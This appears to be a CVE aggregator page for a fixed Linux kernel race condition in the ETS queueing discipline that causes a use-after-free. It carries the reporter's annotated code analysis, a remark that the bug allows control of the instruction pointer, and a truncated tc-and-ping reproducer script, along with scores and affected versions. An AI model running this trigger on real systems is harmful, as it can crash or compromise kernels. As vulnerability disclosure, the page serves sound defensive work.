net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change [email protected] says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by [email protected]) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Timeline

Scores

EPSS (exploitation in 30 days)

0.17% · top 93% of all CVEs (9 Nov 2026)

CISA SSVC

Exploitation: none · Automatable: no · Technical impact: total

The list uses the assigner's score when there is one, then CISA's, then NVD's: High 7.8.

Affected products

• Linux · Linux

  • affected ae2659d2c670252759ee9c823c4e039c0e05a6f2 – < 062d5d544e564473450d72e6af83077c2b2ff7c3
  • affected e25bdbc7e951ae5728fee1f4c09485df113d013c – < c7f6e7cc14df72b997258216e99d897d2df0dbbd
  • affected de6d25924c2a8c2988c6a385990cafbe742061bf – < a75d617a4ef08682f5cfaadc01d5141c87e019c9
  • affected de6d25924c2a8c2988c6a385990cafbe742061bf – < 9987cda315c08f63a02423fa2f9a1f6602c861a0
  • affected de6d25924c2a8c2988c6a385990cafbe742061bf – < 06bfb66a7c8b45e3fed01351a4b087410ae5ef39
  • affected de6d25924c2a8c2988c6a385990cafbe742061bf – < 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
  • affected de6d25924c2a8c2988c6a385990cafbe742061bf – < ce052b9402e461a9aded599f5b47e76bc727f7de
  • affected 5.10.83 – < 5.10.248
  • affected 5.15.6 – < 5.15.198

• Linux · Linux

  • affected 5.16
  • unaffected < 5.16
  • unaffected 5.10.248 – ≤ 5.10.*
  • unaffected 5.15.198 – ≤ 5.15.*
  • unaffected 6.1.160 – ≤ 6.1.*
  • unaffected 6.6.120 – ≤ 6.6.*
  • unaffected 6.12.64 – ≤ 6.12.*
  • unaffected 6.18.3 – ≤ 6.18.*
  • unaffected 6.19 – ≤ *

Sources

The same CVE in the primary databases and aggregators, to check against.

• CVE.org record (opens in a new tab)
• CVE List JSON (GitHub) (opens in a new tab)
• NVD (opens in a new tab)
• FIRST EPSS (opens in a new tab)
• EUVD EUVD-2026-2266 (opens in a new tab)
• OSV.dev (opens in a new tab)
• GitHub Advisories (opens in a new tab)
• CIRCL Vulnerability-Lookup (opens in a new tab)

Badge for a README or a ticket

[![CVE-2025-71066](https://cveledger.app/badge/CVE-2025-71066.svg)](https://cveledger.app/cve/CVE-2025-71066)

Record last updated 5 Aug 2026, 12:11 UTC.